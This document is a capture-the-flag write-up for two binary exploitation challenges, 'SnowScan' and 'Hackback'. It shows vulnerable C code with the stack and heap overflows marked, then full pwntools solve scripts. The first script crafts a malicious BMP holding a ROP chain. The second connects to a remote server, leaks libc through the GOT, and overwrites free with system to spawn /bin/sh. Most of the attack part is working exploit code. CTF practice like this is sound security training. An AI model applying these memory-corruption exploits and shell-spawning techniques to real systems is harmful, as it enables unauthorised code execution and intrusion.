SnowScan [Easy]
BMPFile *loadBitmap(FILE *file)
{
BMPFile *bmp = (BMPFile *)malloc(sizeof(BMPFile));
if(bmp == NULL)
error("Bitmap struct heap allocation failed.");
// Read file headers
fread(&bmp->signature, sizeof(char), 2, file);
fread(&bmp->fileSize, sizeof(uint32_t), 1, file);
fread(&bmp->reserved, sizeof(uint32_t), 1, file);
fread(&bmp->dataOffset, sizeof(uint32_t), 1, file);
fread(&bmp->headerSize, sizeof(uint32_t), 1, file);
fread(&bmp->width, sizeof(int32_t), 1, file);
fread(&bmp->height, sizeof(int32_t), 1, file);
fread(&bmp->colorPlanes, sizeof(uint16_t), 1, file);
fread(&bmp->bitsPerPixel, sizeof(uint16_t), 1, file);
fread(&bmp->compression, sizeof(uint32_t), 1, file);
// [1] Set a corrupted imageSize here
fread(&bmp->imageSize, sizeof(uint32_t), 1, file); //uint32_t imageSize;
fread(&bmp->horizontalResolution, sizeof(int32_t), 1, file);
fread(&bmp->verticalResolution, sizeof(int32_t), 1, file);
fread(&bmp->numColors, sizeof(uint32_t), 1, file);
fread(&bmp->importantColors, sizeof(uint32_t), 1, file);
// signature bytes check
if(bmp->signature[0] != 'B' || bmp->signature[1] != 'M')
error("Invalid file signature.");
// min-max size check
if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
error("Invalid bitmap size. The acceptaple resolution range is 20x20 to 30x30.");
// square bitmap check
if(bmp->width != bmp->height)
error("Invalid bitmap resolution. Only square bitmaps are processed.");
return bmp;
}
int main(int argc, char **argv)
{
setup();
if(argc < 2)
error("No file provided as an argument.");
size_t len = strlen(argv[1]);
if(len >= 4 && strcmp(argv[1]+len-4, ".bmp"))
error("Invalid file extension. Only accepting .bmp files.");
FILE *file = fopen(argv[1], "rb");
if(file == NULL)
error("Failed to open file.");
BMPFile *bmp = loadBitmap(file);
fseek(file, bmp->dataOffset, SEEK_SET);
// [2] initialize buffer here
// bmp->imageSize can be controlled with a corrupted bmp in LoadBitMap at [1]
uint8_t pixelBuf[bmp->imageSize];
int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
pixelBuf[i++] = (uint8_t)c; [3] //buffer overflow happens here
scan(pixelBuf, bmp->width);
fclose(file);
return 0;
}
Classic buffer overflow, there was no canary and PIE. Gain RIP control and jump to PrintFile with controlled RDI argument pointing to flag.txt.
- Note that somehow my solver is a bit unstable, had to run multiple times on the server.
Solve script:
from pwn import *
import IPython
file_path = "./dummy.bmp"
with open(file_path, 'rb') as file:
data = file.read()
file_size = len(data)
#print(data)
print(file_size)
#mov rdi, rbx ; call r8 ; (1 found)
#mov rdi, rbx ; call rax ; (1 found)
#0x004853ca: pop rax ; pop rdx ; pop rbx ; ret ; (1 found)
#0x00488668: mov qword [rax], rdx ; pop rbx ; ret ; (1 found)
#0x00401a72 pop rdi ; ret ; (1 found)
corrupted_bmp = data[0:0x22E]
pop_rdi = 0x401a72
print_file = 0x401FAC
flag_file = b'flag.txt'
ret = 0x0046d4ad
# RIP CONTROL
#corrupted_bmp += p64(0x4141414141414141)
#corrupted_bmp += p64(0x4444444444444444)
corrupted_bmp += p64(0x004853ca) # pop rax, rdx, rbx
corrupted_bmp += p64(0x4c3a00) # rax: bss
corrupted_bmp += flag_file # rdx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00488668) # mov qword[rax], rdx; pop rbx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00401a72) # pop rdi; ret
corrupted_bmp += p64(0x4c3a00) # rdi: bss
corrupted_bmp += p64(0x00435cc2)
corrupted_bmp += p64(print_file)
corrupted_bmp += p64(0x4343434343434343)
corrupted_bmp += p64(0x4343434343434344)
corrupted_bmp += p64(0x4343434343434345)
corrupted_bmp += p64(0x004853ca) # rip
corrupted_bmp += p64(0x4c3a00) # rax: bss
corrupted_bmp += flag_file # rdx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00488668) # mov qword[rax], rdx; pop rbx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00401a72) # pop rdi; ret
corrupted_bmp += p64(0x4c3a00) # rdi: bss
corrupted_bmp += p64(0x00435cc2)
corrupted_bmp += p64(print_file)
#i = len(corrupted_bmp)
#while (i < file_size):
# corrupted_bmp += b'\x43'
# i += 1
with open("corrupted.bmp", 'wb') as file:
file.write(corrupted_bmp)
print(len(corrupted_bmp))
#data[0x346:0x346+8] = p64(0x4141414141414141)
Hackback [Medium]
int addRedirectorBotURL(C2Buffer* buf){ //buf has size of 1024
C2Bot* c2Bot;
uint8_t botID;
uint8_t tmp_buf[4];
uint16_t domainlen;
buf->start += sizeof(uint8_t);
...
if(!c2Bot->domain)
{
// max length of domain = 0x100
// sizeof(uint8_t) = 1 and MAX_DOMAIN_LEN = 255
c2Bot->domain = malloc(sizeof(uint8_t) * (MAX_DOMAIN_LEN + 1) ) ;
CHECK_PTR_NULL(c2Bot->domain);
}
...
// buf->end could be larger than c2Bot->domain
buf->end = strstr(buf->start,".io");
if(!buf->end && c2Bot->domain){
free(c2Bot->domain);
c2Bot->domain = NULL;
return 1;
}
// so domainLen is larger than domain!
c2Bot->domainLen = buf->end - buf->start;
// overflow here!!!
memcpy(c2Bot->domain, buf->start, c2Bot->domainLen);
...
}
int main(int argc, char const *argv[])
{
setup();
uint8_t tmp[1024];
C2Buffer tmp_buf;
uint8_t cmdId;
while(1){
memset(tmp, 0, 1024);
fgets(tmp, 1024, stdin);
tmp_buf.start = tmp; //tmp_buf.start is set to tmp which has size of 1024
cmdId = (uint8_t)tmp[0];
switch (cmdId){
case ADDREDIRECTORBOTURL:
if(addRedirectorBotURL(&tmp_buf)){
puts("err:0xAA");
}
...
}
Exploit:
- We can make use of the C2Bot struct to get arbitrary read/write
typedef struct C2Bot {
size_t domainLen;
uint8_t* domain;
uint16_t port;
uint16_t nameLen;
uint8_t* name;
} C2Bot;
2. By overflowing and overwriting name and nameLen, we can avoid reallocating and gain arbitrary read/write.
- Trigger the bug with C2Bot_1
- C2Bot_1 overwrites C2Bot_2’s name
- ChangeBotName(C2Bot_2)
3. With arbitrary read/write, overwrite free to system to do system(“/bin/sh”)
Final Solver:
from pwn import *
import IPython
import time
local_bin = "./hackback"
libc = ELF("./libc.so.6")
elf = ELF(local_bin)
rop = ROP(elf)
context.log_level = 'debug'
#version 2.35
#p = gdb.debug(local_bin, '''
# #b *0x40192B
#
# #strncpy
# #b *0x401555
#
# #overflow memcpy
# #b *0x40175A
#
# # fetch botname
# #b *0x4013EE
#
# # changeBotName
# #b *0x0401415
# continue
# ''')
p = remote("94.237.62.82", 53638)
ADDREDIRECTORBOTURL = b'\xAA'
ADDNEWBOT = b'\xBB'
CHANGEBOTNAME = b'\xCC'
FETCHBOTNAME = b'\xDD'
def sla(receive,reply):
p.sendlineafter(receive,reply)
def sa(receive,reply):
p.sendafter(receive,reply)
# id is 1 byte
# len is 2 bytes but only first byte is used
# [id] [len] [name]
def addNewBot(id, len, name):
cmd = b''
cmd += ADDNEWBOT
cmd += id
cmd += len
cmd += name
p.sendline(cmd)
def changeBotName(id, new_len, new_name):
time.sleep(1)
cmd = b''
cmd += CHANGEBOTNAME
cmd += id
cmd += new_len
cmd += new_name
p.sendline(cmd)
def addRedirectorBotURL(id, domainLen, domainName, port):
time.sleep(1)
cmd = b''
cmd += ADDREDIRECTORBOTURL
cmd += id
cmd += domainLen
cmd += domainName
cmd += port
p.sendline(cmd)
def fetchBotName(id):
time.sleep(1)
cmd = b''
cmd += FETCHBOTNAME
cmd += id
p.sendline(cmd)
addNewBot(b'\x01', b'\xFF\x00', b'AAAAA')
#changeBotName(b'\x01', b'\x00\x01', b'aaaaaaa')
#payload = b'A' * 0x200
#payload += b'.io'
addRedirectorBotURL(b'\x01', b'\xFF\x00', b"bbbbbbb.io", b"\x80")
addNewBot(b'\x02', b'\x10\x00', b'AAAAA')
addNewBot(b'\x03', b'\x10\x00', b'AAAAA')
addNewBot(b'\x04', b'\x10\x00', b'/bin/sh\x00')
addNewBot(b'\x05', b'\x10\x01', b'/bin/sh\x00') # this should corrupt bot2
addNewBot(b'\x06', b'\x30\x01', b'/bin/sh\x00') # this should corrupt bot2
addNewBot(b'\x07', b'\x40\x01', b'/bin/sh\x00') # this should corrupt bot2
changeBotName(b'\x04', b'\x20\x01', b'/bin/sh\x00aaaa') # this should corrupt bot2
payload = b'B' * (0x1d394d0-0x1d393e0)
payload += b'A' * 0x36
payload += b'.io'
addRedirectorBotURL(b'\x01', b'\xFF\x00', payload, b"\x80")
# oh lol the bug is i can run oob
# bug 2 the input buf is more than domainlength
#fetchBotName(b'\x02')
fakeName = b'A' * 0x38
fakeName += p64(0x404020) #strncpy GOT
changeBotName(b'\x02', b'\xFF\x01', fakeName) # this should corrupt bot2
fetchBotName(b'\x03')
leak = p.recvuntil(b'3:')
leak = p.recv()
leak = leak[:-1]
print(leak)
libc_leak = int.from_bytes(leak, 'little')
print("libc_leak = " , hex(libc_leak))
libc_offset = 0x7fa8011b3430-0x7fa801000000
libc_base = libc_leak - libc_offset
print("libc_base = " , hex(libc_base))
SYSTEM = libc.sym["system"]
fakeName = b'A' * 0x38
fakeName += p64(0x404018) #free GOT
changeBotName(b'\x02', b'\xFF\x01', fakeName) # this should corrupt bot3
changeBotName(b'\x03', b'\x08\x01', p64(SYSTEM + libc_base)) # this should corrupt bot2
changeBotName(b'\x07', b'\x80\x01', b'AAAAAAAAAAAAA') # this should corrupt bot2
p.interactive()